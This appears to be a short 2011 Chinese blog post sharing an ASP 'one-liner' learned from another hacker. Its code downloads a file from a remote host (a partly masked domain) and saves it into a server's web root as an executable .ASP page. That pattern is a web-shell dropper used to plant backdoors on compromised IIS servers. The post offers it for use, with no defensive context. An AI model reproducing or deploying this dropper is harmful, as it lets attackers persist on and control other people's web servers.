asp xmlhttp下载一句话

2011年11月30日

分享一下
在3est活动中学习的godlong的

 
<% 
Set xPost = createObject("Microsoft.XMLHTTP") 
xPost.Open "GET","http://www.fxxxx.com/1.txt",0 '下载文件的地址 
xPost.Send() 
Set sGet = createObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile "E:WWWROOTfuck1.ASP",2 
%>